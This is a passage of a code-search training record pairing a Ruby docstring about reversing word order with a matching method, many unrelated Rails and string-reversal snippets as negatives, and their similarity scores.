company[\"employee_count_range\"][\"name\"],\n founded_year: company[\"founded_year\"])\n new_company.logo_from_url company[\"logo_url\"] \n new_company.save\n return new_company\n end \n end\n \n #Not found\n puts \"Company Not Found\"\n return @response.body\n \n end",
"def get_products()\n products = Product.where(company_id: self.id).order('name')\n \n return products\n end",
"def index\n @company_clients = CompanyClient.where(company: params[:company]).first\n end",
"def show\n\n @company = Company.find(1)\n @trucks = @company.get_trucks()\n @employees = @company.get_employees()\n end",
"def company_ids\n @cached_company_ids ||= @object.companies.legit.pluck(:id)\n end",
"def get_products()\n products = Product.where(company_id: self.id).order(:name)\n \n return products\n end",
"def get_products()\n products = Product.where(company_id: self.id).order(:name)\n \n return products\n end",
"def my_clients\n self.client_cars.map do |car|\n car.owner\n end\n end",
"def check_by_company\n _r = false\n # global_company_breakdown returns multidimensional array containing different company in each line\n # Each line contains 5 elements: Company Id, max_order_total, max_order_price, Net amount sum by project & Item net price\n a = global_company_breakdown(purchase_order_items.joins(:project).order(:company_id))\n d = a.detect { |f| (f[1] > 0 && (f[3] > f[1])) || (f[2] > 0 && (f[4] > f[2])) }\n _r = d.nil? ? false : true\n end",
"def index\n @products = current_user.company.stockcurrent.products\n @categories = current_user.company.categories\n end",
"def hired\n authorize current_company, :index?\n @drivers = current_company.hired_drivers.distinct\n @drivers = @drivers.page(params[:page]).per(10)\n end",
"def company_search(options = {})\n path = \"/company-search:(companies:(id,name,universal-name,website-url,logo-url,square_logo_url))?keywords=#{CGI.escape(options[:keyword])}&sort=relevance\"\n # binding.pry\n results = get(path, options)\n # binding.pry\n end",
"def owners_of_cars_serviced\n self.personal_mechanic_of.map{|owner_obj| owner_obj.name}\nend",
"def get_expense_companies\n res = {\n :total => nil,\n :success => true,\n :data => []\n }\n entities = OrderEntity.find_all_by_order_id(params[:id], :include => [:company])\n entities.each do |e|\n res[:data].push([e.id, e.company.name])\n end\n\n render :json => res.to_json, :layout => false\n\n end",
"def index\n @business_companies = Business::Company.all\n end",
"def show\n # @company_news = CompanyNews.where(company_id: @company.id )\n @vacancies = Vacancy.where(new_company_id: @new_company.id)\n # @company_contacts = CompanyContact.where(company_id: @company.id)\n # @company_comments = CompanyComment.where(company_id: @company.id)\n # @company_clients = CompanyClient.where(company_id: @company.id)\n # @company_rewiews = CompanyReview.where(company_id: @company.id)\n @company_practices = CompanyPractice.where(new_company_id: @new_company.id)\n end",
"def index\n @guarantee_companies = GuaranteeCompany.all\n end",
"def get_company_by_company_part\n @parts = CompaniesController::CompanyService.get_company_by_company_part(params[:param_part])\n if [email protected]?\n respond_to do |format|\n format.json{ render json: @parts}\n end \n else\n #não foi encontrado as informacoes\n end\n\tend",
"def show\n @company = Company.find(params[:id])\n @clients = @company.clients\n @employees = @company.employees\n @drivers = @company.drivers\n @shipments = @company.shipments\n end",
"def get_company\n @company ||= current_company\n end",
"def get_customers()\n customers = Customer.where(company_id: self.id).order(:name)\n\n return customers\n end",
"def get_customers()\n customers = Customer.where(company_id: self.id).order(:name)\n\n return customers\n end",
"def get_customers()\n customers = Customer.where(company_id: self.id).order(:name)\n\n return customers\n end",
"def index\n @page_id = 'companyList'\n @banners = Banner.companies.where('start_at <= ? and end_at >= ?', Time.now, Time.now).where(:language => params[:locale] == 'en' ? [0, 1] : [0, 2])\n @company_classifies = CompanyClassify.design\n @companies = params[:company_classify_id].present? ? Company.joins(:company_classify_relations).where('company_classify_relations.company_classify_id = ?', params[:company_classify_id]).design.allow.human_order : Company.design.allow.human_order\n end",
"def filter companies \n companies.select do |company|\n company.size > 100 \n end\nend",
"def index\n @main_companies = MainCompany.all\n end",
"def company_information_strings companies\n companies.map { |company| \"#{company.name} - #{company.size}\"}\nend",
"def index\n @supporting_companies = SupportingCompany.all\n end",
"def list_deliveries\n\n @company = Company.find(params[:company_id])\n @pagetitle = \"#{@company.name} - guias\"\n @filters_display = \"block\"\n \n @locations = Location.where(company_id: @company.id).order(\"name ASC\")\n @divisions = Division.where(company_id: @company.id).order(\"name ASC\")\n \n if(params[:location] and params[:location] != \"\")\n @sel_location = params[:location]\n end\n \n if(params[:division] and params[:division] != \"\")\n @sel_division = params[:division]\n end\n \n if(@company.can_view(current_user))\n if(params[:search] and params[:search] != \"\")\n @deliveries = Delivery.where([\"company_id = ? AND code like ? \", @company.id, \"%\" + params[:search] + \"%\"]).paginate(:page => params[:page])\n\n else\n @deliveries = Delivery.where(company_id: @company.id).order(\"created_at desc \").paginate(:page => params[:page])\n @filters_display = \"none\"\n end\n else\n errPerms()\n end\n end",
"def index\n all = PeriodsGroup.all.to_a\n # show pgs that contain this company's periods\n @periods_groups = all.keep_if { |pg| pg.companies.to_a.include?(@company) }\n end",
"def royalty_pay_to_company\n @royalty_details = CompanyRoyaltyDetail.where(royalty_type: true)\n @installment_details = InstallmentDetail.all.group_by(&:franchisee_id)\n end",
"def list_compros\n \n @company = Company.find(params[:company_id])\n @pagetitle = \"#{@company.name} - Viaticos\"\n @filters_display = \"block\"\n \n \n if(params[:search] and params[:search] != \"\") \n \n @compros = Compro.where([\"company_id = ? and (detalle LIKE ? OR code LIKE ?)\", @company.id,\"%\" + params[:search] + \"%\", \"%\" + params[:search] + \"%\"]).order('code').paginate(:page => params[:page]) \n else\n @compros = Compro.where(company_id: @company.id).order('fecha DESC').paginate(:page => params[:page])\n end\n \n end",
"def show\n\n\n @company = Company.find(1)\n\n @trucks = @company.get_trucks\n\n @employees = @company.get_employees2() \n @puntos = @company.get_puntos()\n end",
"def index\n @compania = Companium.all\n end",
"def index\n @search = current_user.company_prices.search(params[:search])\n @company_prices = @search.page(params[:page]).per_page(21).order(\"created_at DESC\")\n end",
"def current_company\n if user_signed_in?\n @company = current_user.company\n @folders = @company.folders\n if current_user.admin?\n # excluding self\n @users = @company.users\n end\n end\n end",
"def index\n @companies = NewCompany.where(user: current_user)\n end",
"def filtered_list\n companies.where('overall_employees_count < required_employee_count')\n end",
"def fetch_operations\n filter = params[:filter]\n company_id = params[:company_id]\n @operations_by_company = Operation.for_company(filter, company_id)\n end",
"def current_company\n Company.find(1)\n end",
"def equipment_names\n equipment = self.quote.project.company.equipment\n list = equipment.collect! {|x| x.name}\n# list.join()\n end",
"def index\n @company_informations = CompanyInformation.all\n end"
] | [
"0.68780994",
"0.63347614",
"0.6331536",
"0.6326407",
"0.6272238",
"0.62294704",
"0.62115926",
"0.61885047",
"0.61815214",
"0.6166791",
"0.6157467",
"0.6154713",
"0.6143255",
"0.6142684",
"0.6132214",
"0.610327",
"0.6092068",
"0.60668546",
"0.6064127",
"0.60580295",
"0.603626",
"0.5980714",
"0.5979669",
"0.5979669",
"0.5971745",
"0.59284025",
"0.5919839",
"0.5857844",
"0.5839366",
"0.57955813",
"0.5783618",
"0.57765603",
"0.5770277",
"0.57679623",
"0.5766556",
"0.5756317",
"0.5738038",
"0.5718688",
"0.5701186",
"0.5681731",
"0.56784713",
"0.56723505",
"0.56702477",
"0.5663387",
"0.5647146",
"0.5643388",
"0.56433314",
"0.562493",
"0.56244713",
"0.561899",
"0.5612575",
"0.5600012",
"0.5585653",
"0.55837005",
"0.5580821",
"0.55797803",
"0.5578905",
"0.5570444",
"0.5568379",
"0.556798",
"0.5567099",
"0.55617666",
"0.5551522",
"0.5551208",
"0.5548878",
"0.5548878",
"0.5548875",
"0.5545964",
"0.55428815",
"0.5538162",
"0.55342364",
"0.5529447",
"0.5519795",
"0.551901",
"0.5516681",
"0.5514197",
"0.55094045",
"0.5506815",
"0.55053765",
"0.5503179",
"0.5503179",
"0.5503179",
"0.5497465",
"0.54950386",
"0.5486272",
"0.54819876",
"0.5457821",
"0.54508245",
"0.5442169",
"0.544028",
"0.5434401",
"0.54342854",
"0.54311025",
"0.5427473",
"0.5425907",
"0.5424996",
"0.54210526",
"0.5418796",
"0.54160607",
"0.5409554",
"0.5409553"
] | 0.0 | -1 |
Helper for model classes. Allows for convenient instantiation of current athlete. This is completely agnostic to class type, it can be a DB model, a PORO, etc. Usage: class Account Strava::Athlete Can also perform lookup through another method: class User < ApplicationRecord has_one :account include Strava.model as: :athlete, via: 'account.token', id: 'account.strava_id' end | def model(as: :strava_athlete, via: :access_token, id: nil)
Module.new.tap do |mod|
str = <<~EOF
def self.included(base)
base.send(:define_method, :#{as}) { ::Strava::Athlete.new(#{id ? "{'id' => #{id}}" : '{}' }, token: #{via}, current: true) }
end
EOF
mod.class_eval str
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def associate_one(person, account_class)\n return unless person\n\n account = account_class.find_by_secdn(person.dn)\n\n new(person, account)\n end",
"def ar_resource\n return unless type && id\n return unless self.class.union_models.include?(type.to_sym)\n\n klass = type.classify.constantize rescue nil\n return unless klass\n klass.find_by_id(id)\n end",
"def model_class_name\n options[:model] ? options[:model].classify : \"Account\"\n end",
"def class_with_model_name # :nodoc:\n self.class_without_model_name.tap do |c|\n c.instance_variable_set('@_model_name', @model_name)\n (class << c; self; end).send(:define_method,:model_name) do\n model_namer = Struct.new(:name).new(self.instance_variable_get('@_model_name'))\n ActiveModel::Name.new(model_namer)\n end\n end\n end",
"def find_athlete\n @athlete = Athlete.find(params[:athlete_id])\n end",
"def access_token_model\n @access_token_model ||= access_token_class.constantize\n end",
"def display_resource(athlete)\n \"#{athlete.first_name} #{athlete.last_name}\"\n end",
"def associated_class\n self[:class] ||= self[:class_name].constantize\n end",
"def acls\n @acls ||= SpaceAcls.new(self)\n end",
"def tenant_class\n @tenant_class ||= if self.model.respond_to?(:call)\n self.model.call\n elsif self.model.respond_to?(:constantize)\n self.model.constantize\n else\n self.model\n end\n end",
"def associated_class\n if options[:class_name]\n options[:class_name].constantize\n else\n klass.relative_const_get(attribute.to_s.camelize)\n end\n end",
"def associated_class\n self[:class] ||= self[:class_name].constantize\n end",
"def model(class_or_scope, options = nil)\n ActiveSupport.on_load(:active_record, yield: true) do\n class_or_scope = class_or_scope.constantize if class_or_scope.is_a?(String)\n options ||= {}\n conditions = options.delete(:conditions)\n\n @ar_scoped = conditions ? class_or_scope.where(conditions) : class_or_scope\n @ar_aggregate = AGGREGATES.find { |key| options.has_key?(key) }\n @ar_column = options.delete(@ar_aggregate)\n raise \"Cannot use multiple aggregates in a single metric\" if AGGREGATES.find { |key| options.has_key?(key) }\n\n @ar_timestamp = options.delete(:timestamp) || :created_at\n @ar_timestamp, @ar_timestamp_table = @ar_timestamp.to_s.split('.').reverse\n @ar_timestamp_table ||= @ar_scoped.table_name\n\n @ar_identity_block = options.delete(:identity)\n\n raise \"Unrecognized options: #{options.keys * ', '}\" unless options.empty?\n\n @ar_scoped.after_create(self)\n extend ActiveRecord\n end\n end",
"def active_record_classes\n @active_record_classes ||= [\n AllCasaAdmin,\n CasaAdmin,\n CasaOrg,\n CasaCase,\n CaseContact,\n CaseCourtOrder,\n CaseAssignment,\n ChecklistItem,\n CourtDate,\n ContactType,\n ContactTypeGroup,\n HearingType,\n Judge,\n Language,\n LearningHourType,\n MileageRate,\n Supervisor,\n SupervisorVolunteer,\n User,\n Volunteer\n ]\n end",
"def model_class=(_arg0); end",
"def meta_def_ar_class\n klass = table_name.to_s.classify\n binder = self.class\n\n @table =\n if binder.const_defined? klass\n binder.const_get klass\n else\n binder.const_set(klass,\n Class.new(ActiveRecord::Base) do # class `TableName` < ActiveRecord::Base\n singleton_class.send(:define_method, :connect) do # def self.connect\n ActiveRecord::Base.establish_connection(binder.connection_data)\n end # end\n end) # end\n end #if\n end",
"def set_athlete\n @athlete = Athlete.find(params[:id])\n end",
"def set_athlete\n @athlete = Athlete.find(params[:id])\n end",
"def set_athlete\n @athlete = Athlete.find(params[:id])\n end",
"def set_athlete\n @athlete = Athlete.find(params[:id])\n end",
"def create_oauth_strategy_class(keyword)\n class_name = Warden::OAuth::Utils.camelize(keyword.to_s) \n if self.const_defined?(class_name)\n self.const_get(class_name) \n else\n self.const_set(class_name, Class.new(self))\n end\n end",
"def set_model_acronym\n @model_acronym = ModelAcronym.find(params[:id])\n end",
"def setup_model(opts, current_account:, **)\n opts['model'] = current_account\n end",
"def primary_account\n subclass_must_define\n end",
"def model_class\n @class_name.constantize\n end",
"def show\n @athlete = Athlete.find(params[:id])\n @commentable = @athlete\n @comment = @athlete.comments.new\n end",
"def set_adventuring_class\n @adventuring_class = AdventuringClass.find(params[:id])\n end",
"def get\n Ata.get self\n end",
"def model name, **params\n # <<- CLOSURE_SCOPE\n current = @current # closure scope\n params = @environs.merge params if @environs\n filled_or_maybe = optionality(params)\n params[:class] ||= name.to_s.gsub(/(?:\\A|_)./) { |m| m[-1].upcase }\n # CLOSURE_SCOPE\n\n schema do\n __send__(current, name).__send__(filled_or_maybe, model?: params[:class])\n end\n\n define_helper_methods name\n end",
"def user_account_instance\n Account.new\n end",
"def model_class\n class_name.constantize\n end",
"def associate_class(object=nil)\n if @type == :t_belongs_to && polymorphic?\n qualified_const_get(object.send(polymorphic_type))\n else\n @clazz ||= qualified_const_get(@class_name)\n end\n end",
"def repeatable_thing_class\n base_type = attr_json_registration.type.base_type\n if base_type.is_a?(AttrJson::Model)\n base_type\n else\n # Will return a symbol name, confusingly\n base_type.type\n end\n end",
"def call(attrs)\n define_class(attrs)\n define_const if const_name\n @klass\n end",
"def make_and_model; end",
"def _Appeal(id)\n Appeal.find(id)\nend",
"def affiliate_class\n self.class.affiliate_class\n end",
"def api_model\n api_model_nane.constantize\n end",
"def model(table)\n table.classify.constantize\n end",
"def new\n @athlete = Athlete.new\n end",
"def find_object(id:)\n super(id: ::Types::GlobalIDType[::Awardable].coerce_isolated_input(id))\n end",
"def have_one(model)\n HasOneReflection.new model\nend",
"def model\n @type.constantize\n end",
"def model\n @type.constantize\n end",
"def account_permit_class\n [account_permit_ns , permit_class].join('::')\n end",
"def account\n \t\t\tZapi::Models::Account.new\n \tend",
"def class() end",
"def access_grant_model\n @access_grant_model ||= access_grant_class.constantize\n end",
"def set_ark_class\n @ark_class = ArkClass.find(params[:id])\n end",
"def base_class\n S::Model\n end",
"def has_one(entity, options = {})\n entity = entity.to_s\n klass = options[:class_name] || entity.camelize\n key = options[:primary_key] || [self.name.demodulize.underscore, :id].join('_')\n from = options[:from]\n nested = options[:nested]\n as = options[:as]\n # TODO params\n\n _define_association(entity, :has_one, class_name: klass, primary_key: key, from: from, nested: nested, as: as)\n end",
"def api_class(options={})\n @api_class ||= {}\n return @api_class[options[:api] || self.api] if @api_class[options[:api] || self.api]\n\n @api_class[options[:api] || self.api] = ExternalAPI.const_get((options[:api] || self.api).to_s.gsub(/(?:^|_)(.)/) { $1.upcase })\n end",
"def model_class\n self.class_name.constantize\n end",
"def define_vindicia_class\n vs = Vindicia::Schema.new\n transaction_class = vs.classes.select {|x| x.name == \"Transaction\"}.first\n my_needed_class_attributes = [:amount, :currency, :division_number, :merchant_transaction_id,\n :name_values, :timestamp, :vid, :auth_code, :status, :division_number, :select_transaction_id,\n :subscription_id, :subscription_start_date, :customer_id, :payment_method_id,\n :payment_method_is_tokenized, :credit_card_account, :credit_card_account_hash,\n :credit_card_expiration_date, :account_holder_name, :billing_address_line_1,\n :billing_address_district, :billing_address_postal_code, :billing_address_country, :soap_id]\n transaction_class.attributes = my_needed_class_attributes\n Vindicia::SingleClassBuilder.new transaction_class\n eval \"Vindicia::Transaction\"\n end",
"def create(type, holder)\n # takes a type and holder args\n type = normalise type\n # normalises type\n fail UnrecognisedAccountType unless types[type]\n # tries to find account type, if it fails, raises an exception\n account_class = types[type]\n # sets account constant equal to account_class local variable\n account_class.new(holder, current_id)\n # calls .new on account class, passes holder and current_id method which returns the current id\n end",
"def ar_class\n self.class.ar_class\n end",
"def alchemy\r\n end",
"def use_with_class_names\n (\n DynamicModel.model_names +\n ExternalIdentifier.model_names +\n ActivityLog.model_names +\n Master::PrimaryAssociations\n )\n .map { |m| m.to_s.singularize }\n .select { |m| m != 'master' }\n end",
"def define_class(config, table_name = nil)\n Class.new ActiveRecord::Base do\n establish_connection config\n self.abstract_class = true\n cattr_accessor :model_name\n \n if table_name\n self.table_name = table_name\n self.model_name = ActiveModel::Name.new(self, nil, table_name.classify)\n end \n \n end\n end",
"def _write_class_code\n cname = @table.to_s.split('_').map(&:capitalize).join\n klass = Taupe::Model.const_set cname, Class.new(Taupe::Model::Table)\n klass._cname = cname\n klass._table = @table\n klass._columns = @_column_stack\n end",
"def acts_as_rateable(opts={})\n options = options_for_rateable(opts)\n extend FortiusOne::Acts::Rateable::SingletonMethods\n include FortiusOne::Acts::Rateable::InstanceMethods\n \n if opts[:average] == true\n has_many :ratings, :dependent => :destroy, :as => :rateable, :foreign_key => :rateable_id\n else\n has_one :rating, :dependent => :destroy, :as => :rateable, :foreign_key => :rateable_id \n class_eval { alias :old_rating :rating }\n \n end\n \n class_eval do\n \n # Rate this object with a_rating, also aliased as rating=\n def rate(a_rating, options={})\n options.merge!({\n :rating => a_rating.to_i\n })\n if average_rating?\n if options[:user_id]\n # Delete the old ratings for current user \n Rating.delete_all([\"rateable_type = ? AND rateable_id = ? AND user_id = ?\", self.class.base_class.to_s, self.id, options[:user_id]]) \n end\n self.ratings.create(options)\n else\n self.rating.nil? ? create_rating(options) : self.old_rating.update_attribute(:rating, a_rating.to_i)\n end\n end\n # alias for rate\n alias :rating= :rate\n\n # Return the rating of this object\n def rating\n if average_rating?\n # Integerize it for now -- no fractional average ratings\n (the_ratings = ratings.average(:rating)) ? the_ratings.round : 0.0\n else\n self.old_rating.nil? ? nil : self.old_rating.rating\n end\n end\n \n def total_ratings\n average_rating? ? ratings.count : 1\n end\n \n def average_rating?\n self.respond_to?(\"ratings\")\n end\n \n end\n end",
"def model\n self.class.const_get(:MODEL)\n end",
"def achieve(context,name)\n self.class.engine.achieve context, id, name\n end",
"def included(model_class); end",
"def true_class\n return ModelProxy\n end",
"def invoke_model(type)\n model_path = File.join(File.dirname(__FILE__),\"models/#{type}.rb\")\n require model_path\n type.to_s.split(\"_\").collect(&:capitalize).join.constantize\n end",
"def class_from_name\n if model_name.to_s.include? \"_\"\n ns, *klass = model_name.to_s.split(\"_\").collect(&:camelize)\n begin\n \"#{ns}::#{klass.join(\"\")}\".constantize\n rescue NameError\n \"#{ns}#{klass.join(\"\")}\".constantize\n end\n else\n model_name.to_s.camelize.constantize\n end\n end",
"def model\n self::Model\n end",
"def current_scantron_model\n 'Scantron'.constantize\n end",
"def using_model(class_name)\n class_name = class_name.name if Class === class_name\n @expected_options[:class_name] = class_name\n self\n end",
"def set_analytic_instance\n @analytic_instance = AnalyticInstance.find(params[:id])\n end",
"def account\n @account ||= if order.respond_to?(:student)\n order.student.account\n elsif order.respond_to?(:user)\n order.user.account\n end\n end",
"def find\n klass = @object\n return klass if @object.nil?\n\n if @object.respond_to?(:sand_policy)\n @object.sand_policy\n elsif @object.class.respond_to?(:sand_policy)\n @object.sand_policy\n else\n klass = if @object.is_a?(Symbol)\n @object.to_s.camelize\n elsif @object.respond_to?(:model)\n @object.model\n elsif @object.respond_to?(:model_class)\n @object.model_class\n else\n @object.to_s\n end\n \"#{klass}#{POLICY_SUFFIX}\"\n end\n end",
"def account; Account.get(self.account_id); end",
"def account; Account.get(self.account_id); end",
"def account; Account.get(self.account_id); end",
"def account; Account.get(self.account_id); end",
"def account; Account.get(self.account_id); end",
"def account; Account.get(self.account_id); end",
"def account; Account.get(self.account_id); end",
"def account; Account.get(self.account_id); end",
"def account; Account.get(self.account_id); end",
"def account; Account.get(self.account_id); end",
"def account\n @trainer = Trainer.find_by_id(session[:user_id])\n end",
"def define_relationship(opts)\n [:name, :contains_references_to_types].each do |p|\n opts[p] or raise \"No #{p} given\"\n end\n\n base = self\n\n ArchivesSpaceService.loaded_hook do\n # We hold off actually setting anything up until all models have been\n # loaded, since our relationships may need to reference a model that\n # hasn't been loaded yet.\n #\n # This is also why the :contains_references_to_types property is a proc\n # instead of a regular array--we don't want to blow up with a NameError\n # if the model hasn't been loaded yet.\n\n\n related_models = opts[:contains_references_to_types].call\n\n clz = Class.new(AbstractRelationship) do\n table = \"#{opts[:name]}_rlshp\".intern\n set_dataset(table)\n set_primary_key(:id)\n\n if !self.db.table_exists?(self.table_name)\n Log.warn(\"Table doesn't exist: #{self.table_name}\")\n end\n\n set_participating_models([base, *related_models].uniq)\n set_json_property(opts[:json_property])\n set_wants_array(opts[:is_array].nil? || opts[:is_array])\n end\n\n opts[:class_callback].call(clz) if opts[:class_callback]\n\n @relationships[opts[:name]] = clz\n\n related_models.each do |model|\n model.include(Relationships)\n model.add_relationship_dependency(opts[:name], base)\n end\n\n # Give the new relationship class a name to help with debugging\n # Example: Relationships::ResourceSubject\n Relationships.const_set(self.name + opts[:name].to_s.camelize, clz)\n\n end\n end",
"def has_one(sym, klass, *opts) \n klass = self.klasses[klass] if self.klasses[klass]\n self.lookup[sym] = self.attributes.size\n self.attributes << lambda { klass.new(*opts) }\n end",
"def initialize(friendly_model, ar_model, attributes, options={})\n @active_record_model = ar_model\n @friendly_model = friendly_model\n @attributes = attributes\n @delegated_attributes = {}\n \n setup_friendly_model(options.delete(:active_record_key) || :active_record_id)\n setup_active_record_model\n end",
"def initialize(attributes = {})\n super filter_attributes(attributes, Account.attribute_list)\n self.current_user = User.new(filter_attributes(attributes, User.attribute_list)) if current_user.nil?\n return if account_type.present?\n\n self.account_type = AccountType.new(filter_attributes(attributes, AccountType.attribute_list))\n end",
"def get_class( current_user )\n current_user.teacher_leader.school_class\n end",
"def cloaking_class\n class << self\n self\n end\n end",
"def affiliate\n self.affiliate_class && affiliate_id && self.affiliate_class.find(affiliate_id)\n end",
"def booking_ambassador(opts={})\n opts = {booking_profile: self}.merge(opts)\n case booking_api\n when \"ride_pilot\"\n return RidePilotAmbassador.new(opts)\n when \"trapeze\"\n return TrapezeAmbassador.new(opts)\n when \"ecolane\"\n return EcolaneAmbassador.new(opts)\n else \n return nil\n end\n end",
"def makena_classes\n Rails.application.eager_load!\n pass = ActiveRecord::Base.descendants.map{|a| a.to_s}\n pass.shift\n pass\n end",
"def current_model_service\n @current_model_service ||= begin\n model_class = current_model_class\n Map.servicer_map(model_class).new model_class, authorizer\n end\n end",
"def has_one_through(name, assoc1, assoc2)\n define_method(name) do\n #grabbing the association we created in belongs_to\n params1 = self.class.assoc_params[assoc1] #Cat.assoc_params[:human]\n \n #house\n params2 = params1.other_class.assoc_params[assoc2] #Human.assoc_params[:house]\n\n primary_key1 = self.send(params1.foreign_key)\n results = DBConnection.execute(<<-SQL, primary_key1)\n SELECT \n #{params2.other_table}.*\n FROM \n #{params2.other_table}\n JOIN \n #{params1.other_table}\n ON \n #{params1.other_table}.#{params2.foreign_key}\n = #{params2.other_table}.#{params2.primary_key}\n WHERE \n #{params1.other_table}.#{params1.primary_key}\n = ?\n SQL\n\n params2.other_class.parse_all(results).first\n end\n end",
"def entity load=true\n @entity ||= (klass.where(id: id).first if load)\n end",
"def current_model\n Object.const_get(params[:model].classify)\n end",
"def friendly_model_reader(name_or_klass)\n name_or_klass = friendly_model_name(name_or_klass) if name_or_klass.is_a?(Class)\n :\"load_#{name_or_klass}\"\n end",
"def select_account_and_user\n Account.current = if Talgud.config.domain\n Account.find_by_domain(Talgud.config.domain)\n else\n Account.first\n end\n Authorization.current_user = current_user\n end",
"def define_endpoint\n endpoint_klass.instance_exec(\n opts.merge(this_resource: this_resource)\n ) do |opts|\n get '/:id', { authorize: opts[:authorize] }.compact do\n status 200\n return opts[:block].call if opts.key?(:block)\n\n data = \"Kagu::Models::#{opts[:this_resource].camelize}\"\n .constantize\n .accessible_by(current_ability)\n .find(declared_params[:id])\n\n present(\n data, with: \"API::Entities::#{opts[:this_resource]}\".constantize\n )\n end\n end\n end"
] | [
"0.52092934",
"0.511394",
"0.5069212",
"0.50299656",
"0.5023484",
"0.4993129",
"0.49767023",
"0.49451876",
"0.49443752",
"0.49165156",
"0.4914349",
"0.49054357",
"0.48659104",
"0.4865236",
"0.48552924",
"0.4853309",
"0.48528898",
"0.48528898",
"0.48528898",
"0.48528898",
"0.48435202",
"0.4838889",
"0.48357502",
"0.48316702",
"0.48286635",
"0.482786",
"0.48161423",
"0.48147175",
"0.48032513",
"0.47953704",
"0.47931096",
"0.47643316",
"0.47636953",
"0.4763631",
"0.4762695",
"0.47622457",
"0.47495317",
"0.47346354",
"0.47324985",
"0.4709513",
"0.47050977",
"0.4695419",
"0.46920142",
"0.46920142",
"0.46911392",
"0.46830186",
"0.46802595",
"0.46638918",
"0.46610135",
"0.4633716",
"0.4630542",
"0.4627913",
"0.46272922",
"0.46211186",
"0.46134326",
"0.4607374",
"0.46016482",
"0.45923886",
"0.45905933",
"0.45811224",
"0.45787376",
"0.4569891",
"0.45677102",
"0.4562162",
"0.45543584",
"0.45542103",
"0.45534095",
"0.45532668",
"0.45492217",
"0.45413643",
"0.45386446",
"0.45349896",
"0.45266196",
"0.4522306",
"0.4522306",
"0.4522306",
"0.4522306",
"0.4522306",
"0.4522306",
"0.4522306",
"0.4522306",
"0.4522306",
"0.4522306",
"0.4518346",
"0.4515986",
"0.45065483",
"0.4496878",
"0.4496736",
"0.44903705",
"0.44793355",
"0.44774875",
"0.44755742",
"0.44690746",
"0.44620472",
"0.44600528",
"0.44574222",
"0.44550544",
"0.44412273",
"0.44354448",
"0.44318423"
] | 0.723099 | 0 |
Reverse the word order of a given string =begin doctest: reverse word order of a string >> s = "This is test line one." >> reverse_word_order(s) => "one. line test is This" doctest: Lines are handled this way >> s = "This is test line one.\nThis is test line two." >> reverse_word_order(s) => "two. line test is This one. line test is This" =end | def reverse_word_order string
string.split.reverse.join(' ')
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def reverse_word_order(str)\n str.split.reverse.join(' ')\nend",
"def word_reverse(str)\n p str.split(' ').reverse.join(' ')\nend",
"def wordReverse(string)\n\tp string.split(\" \").reverse().join(\" \")\nend",
"def reverse_words(string)\n words = string.split()\n words.each_with_index { |word, index| words[index] = word.reverse() }\n p words.join(\" \")\nend",
"def wordReverse (string)\n puts string.split.reverse.join(' ')\nend",
"def reverse_words(input_string)\n tokens = input_string.split(' ')\n swap_words(tokens)\nend",
"def word_reverse str\n\tstr.split.reverse.join(' ')\nend",
"def reverse_words(string)\n p string.split.map!{|word| word.reverse}.join(\" \")\nend",
"def reverse_words(string)\n p string.split.map!{|word| word.reverse}.join(\" \")\nend",
"def reverse_word_order( s )\n print arr = s.split(' ').reverse.join(' ')\nend",
"def reverse_ordering_of_words(s)\n\tsplit_words = s.split('')\n\n\toutput = []\n\tj = split_words.length\n\n\t(0..split_words.length).each do |i|\n\t\toutput[i] = split_words[j]\n\t\tj = j - 1\n\tend\n\n\treturnval = output.join('')\n\treturn returnval\nend",
"def wordReverse (str)\nstr.split(' ').reverse.join(' ')\nend",
"def wordReverse (string_of_words)\n\n new_string = string_of_words.split(' ').reverse().join(' ')\n puts new_string\n\nend",
"def word_reverse(string)\n reversed_word = string.split(' ').reverse().join(' ').reverse()\nend",
"def word_reverse (str)\n str.split(' ').reverse.join(' ')\nend",
"def reverse_words(s)\n s.split(' ').map(&:reverse!).join(' ')\nend",
"def word_reverse(sentence)\n sentence.split(\" \").reverse.join(\" \")\nend",
"def reverse_words(my_words)\n # raise NotImplementedError\n return my_words if my_words.nil? || my_words.empty?\n\n i = 0 # starting point of sentence\n j = my_words.length # ending point of sentence\n\n while i < j\n while my_words[i] == \" \" && i < j\n i += 1\n end\n\n word_start = i # starting point of next word in sentence\n\n while my_words[i] != \" \" && i < j\n i += 1\n end\n\n word_end = i - 1 # end point of word in sentence\n\n word_reverse(my_words, word_start, word_end)\n end\n return\nend",
"def reverseWords(str) \n str.reverse!\n str.split.map{|word| word.reverse!}.join(\" \")\nend",
"def reverse_words(string)\n # reversed_string = string.reverse!\n # reversed_array = reversed_string.split(\" \")\n # p reversed_array\n # reversed_array.sort! {|x, y| y<=>x}\n # p reversed_array\n\n split_string = string.split(\" \")\n split_string.each do |word|\n word.reverse!\n end\n reversed_string = split_string.join(\" \")\n puts reversed_string\nend",
"def reverse_words (string)\n if string == \"\"\n p \"\"\n elsif\n words = string.split(\" \")\n words.each { |word|\n word.reverse!\n }\n p words.join(\" \")\nend\nend",
"def reverseWords(s)\n s.split(\" \").reverse.join(\" \")\nend",
"def reverseWordsLite(str)\n str.reverse!\n wordStart, wordEnd = 0, 0\n str.each_char do |char|\n if char == \" \"\n reverseSubString(str, wordStart, wordEnd-1)\n wordStart = wordEnd + 1\n end\n wordEnd += 1\n end\n reverseSubString(str, wordStart, wordEnd-1)\n str\nend",
"def reverse_words(str)\n words = str.split(\" \")\n words.each { |word| word.reverse! }\n return words.join(\" \")\nend",
"def reverse_words(word)\n p word.reverse.split.reverse.join(' ')\nend",
"def reverse_each_word(string)\n array = string.split\n array.each do |word|\n word.reverse!\n end\n array.join(\" \")\nend",
"def wordReverse(string)\n\treverseStr = string.reverse\n\tstringArr = reverseStr.split(' ')\n\tstringArr.map! do |word|\n\t\tword.reverse\n\tend\n\tp stringArr.join(' ')\nend",
"def reverse_words(my_words)\n i = 0\n j = 0\n\n if my_words == nil\n return\n end\n\n loop do\n # binding.pry\n until my_words[i] != \" \"\n i += 1\n break if i >= my_words.length - 1\n end\n j = i\n until my_words[j + 1] == \" \" || j == (my_words.length - 1)\n j += 1\n end\n # binding.pry\n string_reverse(my_words, i, j)\n i = j + 2\n # binding.pry\n break if i >= my_words.length - 1\n end\n return my_words\nend",
"def wordReverse(sentence) \n\tsentence = sentence.split (\" \")\n\tsentence.each do |words|\n\tend\n\tputs sentence.reverse\nend",
"def word_reverse(string)\n reversed_word = string.split(' ').reverse().join(' ')\nend",
